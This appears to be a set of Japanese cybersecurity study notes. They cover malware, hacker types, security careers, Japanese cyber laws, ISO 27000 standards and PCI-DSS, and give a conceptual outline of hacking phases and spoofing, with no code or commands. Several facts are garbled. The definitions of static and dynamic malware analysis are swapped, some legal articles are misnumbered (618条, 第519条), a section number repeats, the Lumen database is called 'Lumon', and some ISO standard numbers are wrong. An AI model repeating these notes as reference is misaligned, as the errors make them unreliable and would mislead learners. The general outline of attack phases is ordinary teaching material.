  • トロイの木馬
  • ランサムウェア

またマルウェア解析の方法には以下の2通りが存在する。

  • 動的解析 … 悪意のあるプログラムを実行せずに検査すること * 解析にはアセンブリ言語についての知識が必要
  • 静的解析 … 制御された環境でマルウェアを実行しそのアクティビティを監視して検査すること

1.4. ハッカーに関して

1.4.1. ハッカーとは

ハッカーの本来の意味は以下の通り。

優れたコンピュータのスキルを持ち、ソフトウェア/ハードウェアの仕組みを理解し、その作成や調査が行える個人

また本来のハッキングの意味はハッカーがそのスキルを利用して何かすることを指している。

しかしながら今現在、ハッカーはこうしたコンピュータスキルを悪用し犯罪や不正行為を行う人という意味で使われるようになってしまった。

本来こうしたハッキングを不正行為に用いる者はクラッカー(クライムハッカー)、そしてクラッカーがする不正行為はクラッキングと呼ばれる。

1.4.2. ハッカーの種類

ハッカーやクラッカー、またそれに関する活動を行うものは以下のように呼ばれる。

種類説明
ブラックハットハッカーハッキングを犯罪や不正行為に用いるハッカー
ホワイトハットハッカーハッキングをセキュリティのために用いるハッカー
グレーハットハッカー犯罪行為を行った経験があるが改心しホワイトハッカーになったが、再び不成功をしてしまう、またはその可能性のあるハッカー
サイバーテロリストハッキングをテロリズムに用いるハッカー
ハクティビストハッキングを自分や組織の思想/理念や教義を公布するのに使うハッカー
国営ハッカー国やその関連機関に雇用されたハッカー、諜報機関/軍事機関に所属する場合がある
スーサイドハッカー身元特定を恐れないハッカー、(無敵の人ハッカー)
スクリプトキディスキルもほとんどないが他人の生み出した攻撃手法を用いて攻撃を行う人

1.4.3. ホワイトハッカーに関して

ホワイトハッカーは前述の通り、ハッキングをセキュリティのために使う人を指す。 ホワイトハッカーの企業/組織での仕事は多岐にわたり以下のようなことを行う。

  • 適切な対策方法の助言
  • 監視におけるインシデントの判断
  • フォレンジック
  • 脆弱性の診断
  • 組織のセキュリティ意識向上活動

またホワイトハッカーは持つ知識やスキルの悪用ができてしまうという特性上、知識や技術だけではなく高い倫理観が求められる。 ホワイトハッカーはセキュリティの各防衛フェーズに関して以下内容を提供する。

  • 予防フェーズ
    • 脆弱性評価によるリスク管理への参加
    • 防衛方法検討時の知識提供
    • 機器の構築/テストの支援
  • 運用フェーズ
    • 監視/分析の技術支援/知識提供
    • 定期的な脆弱性の評価/検証
  • 対処フェーズ
    • 対応チームトレーニングへの参加
    • インシデントに対する助言
    • フォレンジック調査への助言

1.4.4. ホワイトハッキングの活用

ホワイトハッキングを脆弱性管理に応用する場合、以下フェーズで応用できる。

  1. 脆弱性の検出
  2. 資産の優先順位付け
  3. 評価とレポート
  4. 軽減・改善
  5. 検証

1.4.4.1. 脆弱性の検出 (スキャニング)

検出ではネットワーク機器の特定と特定した機器のフットプリンティングを行う。

フットプリンティング: 攻撃を行う前に攻撃対象の情報やネットワーク環境を事前調査すること

1.4.4.2. 資産の優先順位付け (列挙)

資産の優先順位付けでは脆弱性の検出された機器を識別しリストアップを行い対応の優先順位付けを行う。

1.4.4.3. 評価とレポート (疑似攻撃)

評価ではセキュリティ脆弱性の調査を行う。

  • 攻撃が脅威になるか
  • 新しい攻撃手法に対して脆弱性があるか
  • 新機能に脆弱性があるか

これらの結果をまとめてリポートする。

1.4.4.4. 軽減・改善

軽減・改善では検出された脆弱性に対して改善するのが軽減するのかの判断を行う。 基本的には改善を行う。できない場合は軽減を行う。

1.4.4.5. 検証 (疑似攻撃)

検証では検出された脆弱性が解決しているかを確認する。 評価方法としては評価とレポートと同じことを行う。

1.4.5. フォレンジック

フォレンジックはIT分野においては不正アクセスや通信ログを分析する行為を指す。 フォレンジックの目的は以下の通り。

  • 攻撃者の特定
  • 攻撃の本質(攻撃の意図)の特定

1.4.6. ROE

ROE(Rules of Engagement: 関与規則)は侵入テスト作業の初期段階で作成するドキュメントのこと。 侵入テストの実施方法を定義する文書といえる。 この文書は3つの主要なセクションで構成され、これらのセクションが最終的に侵入テストの実施方法を決定する。

セクション説明
許可関与する実行内容を明示的に許可する。個人や組織が実行する活動を法的に保護するために必須といえる
テスト範囲侵入テストを適用する必要がある特定のターゲットに注釈を付ける。(ネットワーク,アプリ内,ホストなど)
ルール侵入テストにて許可されるテクニックを正確に定義する

1.5. サイバーセキュリティ業界の職業

ホワイトハッカー以外のサイバーセキュリティの職業について紹介する。

1.5.1. セキュリティアナリスト

セキュリティアナリストは企業ネットワークを調査および評価して、実用的なデータと、エンジニアが予防策を開発するための推奨事項を明らかにする職務。 この職務ではセキュリティ要件とセキュリティ環境を理解するためにさまざまな関係者と協力する必要がある。

職務内容は以下の通り。

  • さまざまなステークホルダーと協力して全社のサイバーセキュリティを分析する
  • ネットワークの安全性に関する継続的なレポートを作成し、セキュリティの問題とそれに対応して講じられた措置を文書化する
  • 新しい攻撃ツールと傾向に関する調査、およびデータセキュリティを維持するためにチーム全体で必要な対策を組み込んだセキュリティ計画を作成する

1.5.2. セキュリティエンジニア

セキュリティエンジニアは脅威と脆弱性のデータを使用してセキュリティ ソリューションを開発および実装する職務。 Webアプリケーションへの攻撃、ネットワークの脅威、進化する傾向や戦術など、幅広い攻撃の回避に取り組む。 この職務の目標は、攻撃やデータ損失のリスクを軽減するためにセキュリティ対策を維持および導入することにある。

職務内容は以下の通り。

  • ソフトウェア全体のセキュリティ対策のテストとスクリーニング
  • ネットワークとレポートを監視してシステムを更新し、脆弱性を軽減する
  • 最適なセキュリティに必要なシステムを特定して実装する

1.5.3. インシデント対応者

インシデント対応者はセキュリティ侵害に対して生産的かつ効率的に対応する職務。 職務にはインシデント中およびインシデント後に組織が制定する計画、ポリシー、プロトコルの作成が含まる。 企業のデータ、評判、財務状況をサイバー攻撃から守るのがメインの仕事となる。

職務内容は以下の通り。

  • 徹底的で実行可能なインシデント対応計画を策定/採用する
  • 強力なセキュリティのベストプラクティスを維持しインシデント対応措置をサポートする
  • インシデントから得られる教訓と適応を考慮したインシデント後の報告と将来の攻撃への準備

1.5.4. デジタルフォレンジック検査官

デジタルフォレンジック検査官は警察関連機関などの法執行部門の一員としてサイバーセキュリティ業界で働く場合の職業。

職務内容は以下の通り。

  • 法的手続きを遵守しながらデジタル証拠を収集
  • デジタル証拠を分析して事件に関連する答えを捜査
  • 調査結果を文書化し、ケースについて報告

1.5.5. ペネトレーションテスター

ペネトレーションテスタの仕事は企業内のシステムとソフトウェアのセキュリティをテストすること。 これは、システム化されたハッキン​​グを通じて欠陥や脆弱性を発見するペネトレーションテストによって達成される。 ペネトレーションテスターはこれらの脆弱性を悪用して、各インスタンスのリスクを評価し、企業や組織に報告する。

職務内容は以下の通り。

  • コンピュータシステム、ネットワーク、Webアプリケーションへの侵入テストの実施
  • セキュリティ評価、監査、およびポリシーの分析
  • 分析情報を評価してレポートし、攻撃を防ぐためのアクションを推奨

1.6. 情報セキュリティに関する関連法規と法令

日本国内の情報セキュリティに関わる者が概ね把握しておくべき関連法規/法令を記載する。

出典は総務省 | 国民のためのサイバーセキュリティサイトより。

1.6.1. 刑法

刑法とは「犯罪と刑罰に関する法律である」と定義される。

電磁的記録: 第七条の二 この法律において「電磁的記録」とは、電子的方式、磁気的方式その他人の知覚によっては認識することができない方式で作られる記録であって、電子計算機による情報処理の用に供されるものをいう。

1.6.1.1. 第161条の2 - 電磁的記録不正作出及び供用

第百六十一条の二 人の事務処理を誤らせる目的で、その事務処理の用に供する権利、義務又は事実証明に関する電磁的記録を不正に作った者は、五年以下の懲役又は五十万円以下の罰金に処する。

  1. 前項の罪が公務所又は公務員により作られるべき電磁的記録に係るときは、十年以下の懲役又は百万円以下の罰金に処する。
  2. 不正に作られた権利、義務又は事実証明に関する電磁的記録を、第一項の目的で、人の事務処理の用に供した者は、その電磁的記録を不正に作った者と同一の刑に処する。
  3. 前項の罪の未遂は、罰する。

関連犯罪: 私電磁的記録不正作出罪、不正作出電磁的記録供用罪

1.6.1.2. 第233条 - 信用毀損及び業務妨害

虚偽の風説を流布し、又は偽計を用いて、人の信用を毀損し、又はその業務を妨害した者は、三年以下の懲役又は五十万円以下の罰金に処する。

関連犯罪: 偽計業務妨害罪、信用毀損罪

1.6.1.2. 第234条の2 - 電子計算機損壊等業務妨害

第二百三十四条の二 人の業務に使用する電子計算機若しくはその用に供する電磁的記録を損壊し、若しくは人の業務に使用する電子計算機に虚偽の情報若しくは不正な指令を与え、又はその他の方法により、電子計算機に使用目的に沿うべき動作をさせず、又は使用目的に反する動作をさせて、人の業務を妨害した者は、五年以下の懲役又は百万円以下の罰金に処する。 2. 前項の罪の未遂は、罰する。

関連犯罪: 電子計算機損壊等業務妨害罪

1.6.1.3. 第246条の2 - 電子計算機使用詐欺

第二百四十六条の二 前条に規定するもののほか、人の事務処理に使用する電子計算機に虚偽の情報若しくは不正な指令を与えて財産権の得喪若しくは変更に係る不実の電磁的記録を作り、又は財産権の得喪若しくは変更に係る虚偽の電磁的記録を人の事務処理の用に供して、財産上不法の利益を得、又は他人にこれを得させた者は、十年以下の懲役に処する。

第二百五十条 この章の罪の未遂は、罰する。

関連犯罪: 電子計算機使用詐欺罪

1.6.1.4. 第618条の2 - 不正指令電磁的記録作成等

第百六十八条の二 正当な理由がないのに、人の電子計算機における実行の用に供する目的で、次に掲げる電磁的記録その他の記録を作成し、又は提供した者は、三年以下の懲役又は五十万円以下の罰金に処する。

一 人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録 二 前号に掲げるもののほか、同号の不正な指令を記述した電磁的記録その他の記録

  1. 正当な理由がないのに、前項第一号に掲げる電磁的記録を人の電子計算機における実行の用に供した者も、同項と同様とする。
  2. 前項の罪の未遂は、罰する。

関連犯罪: 不正指令電磁的記録に関する罪

1.6.1.5. 第618条の3 - 不正指令電磁的記録取得等

第百六十八条の三 正当な理由がないのに、前条第一項の目的で、同項各号に掲げる電磁的記録その他の記録を取得し、又は保管した者は、二年以下の懲役又は三十万円以下の罰金に処する。

関連犯罪: 不正指令電磁的記録に関する罪

1.6.2. サイバーセキュリティ基本法

(目的) 第一条 この法律は、インターネットその他の高度情報通信ネットワークの整備及び情報通信技術の活用の進展に伴って世界的規模で生じているサイバーセキュリティに対する脅威の深刻化その他の内外の諸情勢の変化に伴い、情報の自由な流通を確保しつつ、サイバーセキュリティの確保を図ることが喫緊の課題となっている状況に鑑み、我が国のサイバーセキュリティに関する施策に関し、基本理念を定め、国及び地方公共団体の責務等を明らかにし、並びにサイバーセキュリティ戦略の策定その他サイバーセキュリティに関する施策の基本となる事項を定めるとともに、サイバーセキュリティ戦略本部を設置すること等により、高度情報通信ネットワーク社会形成基本法 (平成十二年法律第百四十四号)と相まって、サイバーセキュリティに関する施策を総合的かつ効果的に推進し、もって経済社会の活力の向上及び持続的発展並びに国民が安全で安心して暮らせる社会の実現を図るとともに、国際社会の平和及び安全の確保並びに我が国の安全保障に寄与することを目的とする。

(国民の努力) 第九条 国民は、基本理念にのっとり、サイバーセキュリティの重要性に関する関心と理解を深め、サイバーセキュリティの確保に必要な注意を払うよう努めるものとする。

1.6.3. 著作権法

著作権法は著作物などに関する著作者等の権利を保護するための法律。

1.6.3.1. 第112条 - 差止請求権

第百十二条 著作者、著作権者、出版権者、実演家又は著作隣接権者は、その著作者人格権、著作権、出版権、実演家人格権又は著作隣接権を侵害する者又は侵害するおそれがある者に対し、その侵害の停止又は予防を請求することができる。

  1. 著作者、著作権者、出版権者、実演家又は著作隣接権者は、前項の規定による請求をするに際し、侵害の行為を組成した物、侵害の行為によって作成された物又は専ら侵害の行為に供された機械若しくは器具の廃棄その他の侵害の停止又は予防に必要な措置を請求することができる。

1.6.3.2. 第113条 - 侵害とみなす行為

第百十三条 次に掲げる行為は、当該著作者人格権、著作権、出版権、実演家人格権又は著作隣接権を侵害する行為とみなす。 一 国内において頒布する目的をもって、輸入の時において国内で作成したとしたならば著作者人格権、著作権、出版権、実演家人格権又は著作隣接権の侵害となるべき行為によって作成された物を輸入する行為

二 著作者人格権、著作権、出版権、実演家人格権又は著作隣接権を侵害する行為によって作成された物(前号の輸入に係る物を含む。)を情を知って頒布し、又は頒布の目的をもつて所持する行為

  1. プログラムの著作物の著作権を侵害する行為によって作成された複製物(当該複製物の所有者によって第四十七条の二第一項の規定により作成された複製物並びに前項第一号の輸入に係るプログラムの著作物の複製物及び当該複製物の所有者によって同条第一項の規定により作成された複製物を含む。)を業務上電子計算機において使用する行為は、これらの複製物を使用する権原を取得した時に情を知っていた場合に限り、当該著作権を侵害する行為とみなす。

  2. 次に掲げる行為は、当該権利管理情報に係る著作者人格権、著作権、実演家人格権又は著作隣接権を侵害する行為とみなす。

一 権利管理情報として虚偽の情報を故意に付加する行為

二 権利管理情報を故意に除去し、又は改変する行為(記録又は送信の方式の変換に伴う技術的な制約による場合その他の著作物又は実演等の利用の目的及び態様に照らしやむを得ないと認められる場合を除く。

三 前二号の行為が行われた著作物若しくは実演等の複製物を、情を知って、頒布し、若しくは頒布の目的をもつて輸入し、若しくは所持し、又は当該著作物若しくは実演等を情を知って公衆送信し、若しくは送信可能化する行為

  1. 第九十五条第一項若しくは第九十七条第一項に規定する二次使用料又は第九十五条の三第三項若しくは第九十七条の三第三項に規定する報酬を受ける権利は、前項の規定の適用については、著作隣接権とみなす。この場合において、前条中「著作隣接権者」とあるのは「著作隣接権者(次条第四項の規定により著作隣接権とみなされる権利を有する者を含む。)」と、同条第一項中「著作隣接権」とあるのは「著作隣接権(同項の規定により著作隣接権とみなされる権利を含む。)」とする。

  2. 国内において頒布することを目的とする商業用レコード(以下この項において「国内頒布目的商業用レコード」という。)を自ら発行し、又は他の者に発行させている著作権者又は著作隣接権者が、当該国内頒布目的商業用レコードと同一の商業用レコードであつて、専ら国外において頒布することを目的とするもの(以下この項において「国外頒布目的商業用レコード」という。)を国外において自ら発行し、又は他の者に発行させている場合において、情を知って、当該国外頒布目的商業用レコードを国内において頒布する目的をもつて輸入する行為又は当該国外頒布目的商業用レコードを国内において頒布し、若しくは国内において頒布する目的をもつて所持する行為は、当該国外頒布目的商業用レコードが国内で頒布されることにより当該国内頒布目的商業用レコードの発行により当該著作権者又は著作隣接権者の得ることが見込まれる利益が不当に害されることとなる場合に限り、それらの著作権又は著作隣接権を侵害する行為とみなす。ただし、国内において最初に発行された日から起算して七年を超えない範囲内において政令で定める期間を経過した国内頒布目的商業用レコードと同一の国外頒布目的商業用レコードを輸入する行為又は当該国外頒布目的商業用レコードを国内において頒布し、若しくは国内において頒布する目的をもつて所持する行為については、この限りでない。

  3. 著作者の名誉又は声望を害する方法によりその著作物を利用する行為は、その著作者人格権を侵害する行為とみなす。

1.6.4. 電気通信事業法

電気通信事業法は電気通信の健全な発達と国民の利便の確保を図るために制定された法律。

(秘密の保護) 第四条 電気通信事業者の取扱中に係る通信の秘密は、侵してはならない。

2 電気通信事業に従事する者は、在職中電気通信事業者の取扱中に係る通信に関して知り得た他人の秘密を守らなければならない。その職を退いた後においても、同様とする。

第百七十九条 電気通信事業者の取扱中に係る通信(第百六十四条第二項に規定する通信を含む。)の秘密を侵した者は、二年以下の懲役又は百万円以下の罰金に処する。

2 電気通信事業に従事する者が前項の行為をしたときは、三年以下の懲役又は二百万円以下の罰金に処する。

3 前二項の未遂罪は、罰する。

1.6.5. 電子署名及び認証業務に関する法律

電子署名及び認証業務に関する法律は、電子商取引などのネットワークを利用した社会経済活動の更なる円滑化を目的として、一定の条件を満たす電子署名が手書き署名や押印と同等に通用することや、認証業務(電子署名を行った者を証明する業務)のうち一定の水準を満たす特定認証業務について、信頼性の判断目安として認定を与える制度などを規定している。

詳細はコチラから。

1.6.6. 電子署名等に係る地方公共団体情報システム機構の認証業務に関する法律

電子署名等に係る地方公共団体情報システム機構の認証業務に関する法律(公的個人認証法)は、行政手続オンライン化関係三法のひとつ。

詳細はコチラから。

1.6.7. 電波法

電波はテレビや携帯電話、アマチュア無線などさまざま場面で利用されている。電波法はこの電波の公平かつ能率的な利用を確保するための法律で、無線局の開設や秘密の保護などについての取り決めが規定されている。

1.6.7.1. 第519条 - 秘密の保護

第五十九条 何人も法律に別段の定めがある場合を除くほか、特定の相手方に対して行われる無線通信(電気通信事業法第四条第一項 又は第九十条第二項 の通信たるものを除く。第百九条において同じ。)を傍受してその存在若しくは内容を漏らし、又はこれを窃用してはならない。

1.6.7.2. 第109条 - 罰則

第百九条 無線局の取扱中に係る無線通信の秘密を漏らし、又は窃用した者は、一年以下の懲役又は五十万円以下の罰金に処する。

1.6.8. 不正アクセス行為の禁止等に関する法律

不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)は不正アクセス行為や、不正アクセス行為につながる識別符号の不正取得・保管行為、不正アクセス行為を助長する行為等を禁止する法律。

識別符号とは 情報機器やサービスにアクセスする際に使用するIDやパスワード等のことです。不正アクセス行為とは、そのようなIDやパスワードによりアクセス制御機能が付されている情報機器やサービスに対して、他人のID・パスワードを入力したり、脆弱性(ぜいじゃくせい)を突いたりなどして、本来は利用権限がないのに、不正に利用できる状態にする行為をいいます。

(目的) 第一条 この法律は、不正アクセス行為を禁止するとともに、これについての罰則及びその再発防止のための都道府県公安委員会による援助措置等を定めることにより、電気通信回線を通じて行われる電子計算機に係る犯罪の防止及びアクセス制御機能により実現される電気通信に関する秩序の維持を図り、もって高度情報通信社会の健全な発展に寄与することを目的とする。

(定義) 第二条 1~3略 4 この法律において「不正アクセス行為」とは、次の各号のいずれかに該当する行為をいう。 一 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該アクセス制御機能に係る他人の識別符号を入力して当該特定電子計算機を作動させ、当該アクセス制御機能により制限されている特定利用をし得る状態にさせる行為(当該アクセス制御機能を付加したアクセス管理者がするもの及び当該アクセス管理者又は当該識別符号に係る利用権者の承諾を得てするものを除く。) 二 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該アクセス制御機能による特定利用の制限を免れることができる情報(識別符号であるものを除く。)又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為(当該アクセス制御機能を付加したアクセス管理者がするもの及び当該アクセス管理者の承諾を得てするものを除く。次号において同じ。) 三 電気通信回線を介して接続された他の特定電子計算機が有するアクセス制御機能によりその特定利用を制限されている特定電子計算機に電気通信回線を通じてその制限を免れることができる情報又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為

(不正アクセス行為の禁止) 第三条 何人も、不正アクセス行為をしてはならない。

(他人の識別符号を不正に取得する行為の禁止) 第四条 何人も、不正アクセス行為(第二条第四項第一号に該当するものに限る。第六条及び第十二条第二号において同じ。)の用に供する目的で、アクセス制御機能に係る他人の識別符号を取得してはならない。

(不正アクセス行為を助長する行為の禁止) 第五条 何人も、業務その他正当な理由による場合を除いては、アクセス制御機能に係る他人の識別符号を、当該アクセス制御機能に係るアクセス管理者及び当該識別符号に係る利用権者以外の者に提供してはならない。

(他人の識別符号を不正に保管する行為の禁止) 第六条 何人も、不正アクセス行為の用に供する目的で、不正に取得されたアクセス制御機能に係る他人の識別符号を保管してはならない。

(識別符号の入力を不正に要求する行為の禁止) 第七条 何人も、アクセス制御機能を特定電子計算機に付加したアクセス管理者になりすまし、その他当該アクセス管理者であると誤認させて、次に掲げる行為をしてはならない。ただし、当該アクセス管理者の承諾を得てする場合は、この限りでない。 一 当該アクセス管理者が当該アクセス制御機能に係る識別符号を付された利用権者に対し当該識別符号を特定電子計算機に入力することを求める旨の情報を、電気通信回線に接続して行う自動公衆送信(公衆によって直接受信されることを目的として公衆からの求めに応じ自動的に送信を行うことをいい、放送又は有線放送に該当するものを除く。)を利用して公衆が閲覧することができる状態に置く行為 二 当該アクセス管理者が当該アクセス制御機能に係る識別符号を付された利用権者に対し当該識別符号を特定電子計算機に入力することを求める旨の情報を、電子メール(特定電子メールの送信の適正化等に関する法律(平成十四年法律第二十六号)第二条第一号に規定する電子メールをいう。)により当該利用権者に送信する行為

(罰則) 第十一条 第三条の規定に違反した者は、三年以下の懲役又は百万円以下の罰金に処する。

第十二条 次の各号のいずれかに該当する者は、一年以下の懲役又は五十万円以下の罰金に処する。 一 第四条の規定に違反した者 二 第五条の規定に違反して、相手方に不正アクセス行為の用に供する目的があることの情を知ってアクセス制御機能に係る他人の識別符号を提供した者 三 第六条の規定に違反した者 四 第七条の規定に違反した者

第十三条 第五条の規定に違反した者(前条第二号に該当する者を除く。)は、三十万円以下の罰金に処する。

1.6.9 特定電子メールの送信の適正化等に関する法律

特定電子メールの送信の適正化等に関する法律は利用者の同意を得ずに広告、宣伝又は勧誘等を目的とした電子メールを送信する際の規定を定めた法律。

詳細はコチラから。

1.6.10. 有線電気通信法

有線電気通信法は有線電気通信の設備や使用についての法律で、秘密の保護や通信妨害について規定されている。

詳細はコチラから。

1.7. 国際的なセキュリティ規格と関連法令

1.7.1. DMCA(デジタルミレニアム著作権法)

DMCAはアメリカ合衆国の法律で盗用コンテンツを運営するサイトのプロバイダーに対して、著作権保有者が著作権侵害の申し立てを通告することができるものとなっている。

この通告を受け取ったプロバイダーが当該コンテンツを迅速に削除した場合、著作権侵害の責任が免除されるというものとなる。 DMCAはGoogleの検索エンジンなどに適用されている。

ちなみに日本国内のDMCA類似法律としてはプロバイダ責任制限法などがある。

なおDMCAの申請は以下手順で行われる。

  1. 表示管理元の「著作権侵害による削除」のページにアクセスする
  2. 「連絡先情報」を入力する
  3. 「著作権侵害の内容」を記述する
  4. 「宣誓供述書」の内容を確認してチェックする
  5. 「署名」する

これにより認定されることでコンテンツが削除されるものとなる。

なおDMCA申請情報はLumonに掲載される。

1.7.2. ISO/IEC 27XXXシリーズ

ISO/IEC27000シリーズは、国際標準化機構(ISO)と国際電気標準会議(IEC)によって策定された情報セキュリティマネジメントシステムに関する規格群のことを指し、中核を成すISO27001を始めとしたISMSに関する第三者認証規格のこと。

ISO27000シリーズは情報セキュリティの管理・リスク低減に関するフレームワークとして国際的に活用されている。

内容説明
ISO27001組織のISMSを認証するための要求事項が示されている
ISO27002情報セキュリティマネジメントの管理策を示した規格
ISO27003ISO27001の要求事項に従って構築したISMSを組織で実施するためのガイド
ISO27004実装されたISMS及びISO27001で規定されたマネジメントシステムの有効性を評価するための手段とリスクアセスメント/ガイド
ISO27005リスク管理プロセスと情報セキュリティ管理に関わる作業や手順を規格化されている
ISO27006ISO27001で規定された要求事項をもとに企業のISMSを審査する審査機関及び認証機関に対する要求事項が示されている
ISO27007ISMS監査の指針が示されている
ISO27008審査のための規格(審査員のための規格)
ISO27010部門間あるいは組織間の通信(コミュニケーション)のための情報セキュリティマネジメントに関する規格
ISO27011電気通信事業者におけるISMSの実装をサポートするガイドライン、通信事業者のISMS適用に関するガイドが示されている
ISO27013ISO20000(ITサービスマネジメント規格)とISO27001の統合実装に関するガイドが示された規格
ISO27014情報セキュリティガバナンス(内部監査)の枠組みを示したもの
ISO27015金融や保険などの商材を扱う企業を対象として具体的なISMSの管理策を示した規格
ISO27017クラウドサービスの利用者や提供者を対象として具体的なISMSの管理策を示した規格
ISO27018クラウドサービス提供事業者がクラウド上に存在する個人情報を保護する目的で行うべき管理策が示された規格
ISO27031IT-BCP(ITシステムの事業継続性)に必要な管理策が示された規格
ISO27032サイバーセキュリティに特化した具体的な管理策などを示した規格
ISO27033情報技術ネットワークに関するセキュリティマネジメントシステムの規格
ISO27704アプリケーションセキュリティに関する管理策などが示された規格
ISO27701組織が扱う個人情報について、プライバシーの観点で管理・保護していくことを目的とした2019年に発行された規格
ISO27729医療機関などを対象とした個人の健康情報を保護することを目的とした規格

ISMS(Information Security Management System): 情報セキュリティマネジメントシステムのことで、企業や組織が保持している情報資産を守るための仕組み

1.7.3. PCI-DSS

PCI-DSSはクレジットカード決済を提供する加盟店やサービスプロバイダにおいて、クレジットカード会員データを安全に取り扱う事を目的として策定されたクレジットカード業界のセキュリティ基準を指す。

PCI-DSS遵守することは、ハッカーやクラッカー等による様々な不正アクセスからサイトを保護し、サイトの改ざんや悪用、情報盗用などのリスクを低減していることを示す。

日本カード情報セキュリティ協議会-PCI-DSSとは

7.2 - 2.ハッキングの基礎知識

システムに侵入するための基本となる考え方

2.1. ハッキングの基本フロー

ハッキングの基本フローは以下の3段階で行われる。

  1. 事前準備
  2. 攻撃
  3. 後処理

なおCEHではこの3段階には以下内容が含まれ、定義されている。

項目内容
事前準備偵察、スキャニング
攻撃アクセス権の取得、アクセス権の維持
痕跡の消去事後処理

フロー

2.1.1. 事前準備

さらに事前準備は以下の3フローに分かれる。

  1. 偵察
  2. スキャニング
  3. 列挙

偵察

偵察では主に以下のような様な情報を収集する。

  • 公開情報の収集
  • ネットワーク情報の収集

公開情報の収集はOSINTと呼ばれる一般に公開されている情報源からアクセス可能なデータを収集、分析、決定する手法により行われる。 OSINTでは一般に公開され利用可能な情報を情報源に機密情報等を収集する手法と定義されている。 具体的には攻撃対象のシステムの運営元の組織/個人の情報から情報を得るものであり、情報源例は以下のとおりである。

  • 公式サイトや人材採用サイト/会社案内パンフレットや営業資料
  • 各種SNSなどの投稿など

スキャニング

スキャニングでは偵察で得られた情報を基にネットワーク/サーバにアクセスを行い、以下の情報を直接収集する。

  • サーバの情報
  • ネットワークの情報

この行為には不正アクセスに抵触する行動も含まれる。

列挙

列挙では以下のことを行い攻撃に必要な要素を収集する。

  • 集めた情報の整理/確認
  • 脆弱性情報の収集

なお上記を行っても攻撃のための情報が不十分な場合は偵察から再度行う。

2.1.2. 攻撃

さらに攻撃は以下の2フローに分かれる。

  1. アクセス権の取得
  2. 権限昇格

また、攻撃の対象にはホスト(サーバ自体)、ネットワークアプリケーションの3つが考えられる。

対象攻撃と処理
ホストサーバへの攻撃、後処理、マルウェアのインストール
ネットワークDos攻撃、ネットワークの盗聴
アプリケーションWebアプリケーションへの攻撃

上記に分類できないのは各種スプーフィングソーシャルエンジニアリングなどがある。

アクセス権の取得

アクセス権/管理者権限の取得は以下の2種類のことを指す。

  • 脆弱性に対する攻撃
  • パスワードクラッキング

実際にサーバにアクセスして脆弱性に対して攻撃をしたり、認証機能にパスワードクラックを仕掛けたりする行為も含まれる。

権限昇格

権限昇格では以下の内容を目指す。

  • 内部での情報収集
  • 権限昇格を行う

アクセス権の取得段階で試行錯誤をしないように事前準備段階で情報収集は徹底的に行う必要がある。 アクセス権の取得後は権限昇格に利用できる脆弱性を特定し管理者権限(root, admin)の奪取を行う。

このフェーズの状態により後処理の有無が決まる。

2.1.3. 後処理

さらに後処理は以下の2フローに分かれる。

  1. アクセス権の保持
  2. 痕跡の消去

アクセス権の維持

攻撃対象を自分が自由に制御できるようにするためにアクセス権の維持ができるようにすることを目指す。 具体的には以下内容を行うことで実現させる。

  • バックドアの作成
  • マルウェアのインストール

痕跡の消去

痕跡の消去ではバックドアの隠蔽やログの消去/操作を行い攻撃の痕跡を消す。 これによりシステム管理者のハッキングに対する追跡を困難にする。

2.1.4. ハッキングの防衛

攻撃性の高い攻撃に対してはスキャニングに対する監視を強化する必要がある。 一方スキャニングを行わず、ハッカーの既存知識をもとに攻撃する場合もある。 そもそも脆弱性がなければ攻撃はできないため、セキュリティのためには既存の脆弱性を以下に減らすかが重要となる。

2.1.5. 一般的なハッキングのフローに沿わない攻撃

通常のハッキングフローに沿わない攻撃は以下のようなものがある。 これらの攻撃はCEHなどで定義されたハッキングの一般的なフローに従わない。

  • Dos攻撃 … 攻撃の特性上、後処理はほとんどの場合不要
  • Webアプリケーションへの攻撃 … Webアプリケーションからサーバ自体への侵入は基本的には厳しいため痕跡の消去は難しい
  • ソーシャルエンジニアリング … 実際に内部の人間からシステム情報を聞き出す。内部に入るなど
  • マルウェアの使用 … 使用用途はいろいろあり「情報収集」「攻撃補助「バックドアの設置」など攻撃段階でも使用される場合もある。

最強の攻撃は「ソーシャルエンジニアリング」+「マルウェアの使用」と言われており、これは近年行われている攻撃でランサムウェアによるものなどはその一例としてあげられる。

2.2. スプーフィング

スプフィーング(偽装工作)は騙す/なりすます攻撃の総称。 基本的には送信元を偽装して身元を隠ぺいするために使用されるが、攻撃効果を高めるためにも使用される。

スプフィーングの種類はIPアドレスを偽装するIPスプフィーング、MACアドレスを偽装するMACアドレススプフィーングに分類さっれう。

2.2.1. IPスプーフィーング

IPスプフィーングはIPアドレスの偽装を行うこと。 スプーフィングが行われる対象は以下の通り。

  • 実際に攻撃を行ったパケットの送信元アドレス
  • 攻撃を受けたシステムが記録したログファイル上のデータ

攻撃に行ったパケットの送信元アドレスを偽装する場合、その通信に応答が必要な場合は応答が偽装したIPアドレスに行われるため攻撃者は受け取ることができない問題がある。 そのためIPスプフィーングはハッキング事前段階である「スキャニング」「列挙」には向かない。 またアクセス権の取得に関わる行動なども対象と接続する必要性があるためIPアドレスの偽装は困難となる。

そのためIPスプーフィングは返送が不要なDoS攻撃に使われる特徴がある。 これはDoS攻撃ではパケットを送りっぱなしてネットワークに負荷をかけるのが目的だからである。

IPアドレスの偽装

攻撃者はIPアドレスの特定を以下の方法を使って防ぐことを試みる。

  • 囮としての使用 … 同じ攻撃を複数のIPアドレスを偽装して行うというもの
  • 踏み台の使用 … 別のマシンをハッキングしてそのマシンを踏み台にして攻撃を行う

2.2.2. MACアドレススプフィーング

MACアドレススプフィーングはMACアドレスの偽装を行うこと。 MACアドレスはNICに紐づいてる固有値であり、工場出荷時にベンダーにより付けられる。 MACアドレスのスプフィーングは基本的に以下の方法を用いる。

  • 攻撃を送るシステムの設定変更
  • 攻撃のパケットの書き換え

またMACアドレススプフィーングは以下のようなものがある。

DHCPスタベーション攻撃

DHCPスタベーション攻撃では攻撃者はMACアドレスを偽装してDHCPサーバに要求を行う。 その結果DHCPサーバはIPアドレスを貸し出すが、DHCPサーバが貸し出せるIPアドレスの範囲を超えてしまった場合、新しい要求があってもIPアドレスの貸し出しができなくなる。これによりネットワーク接続を妨害するというもの。

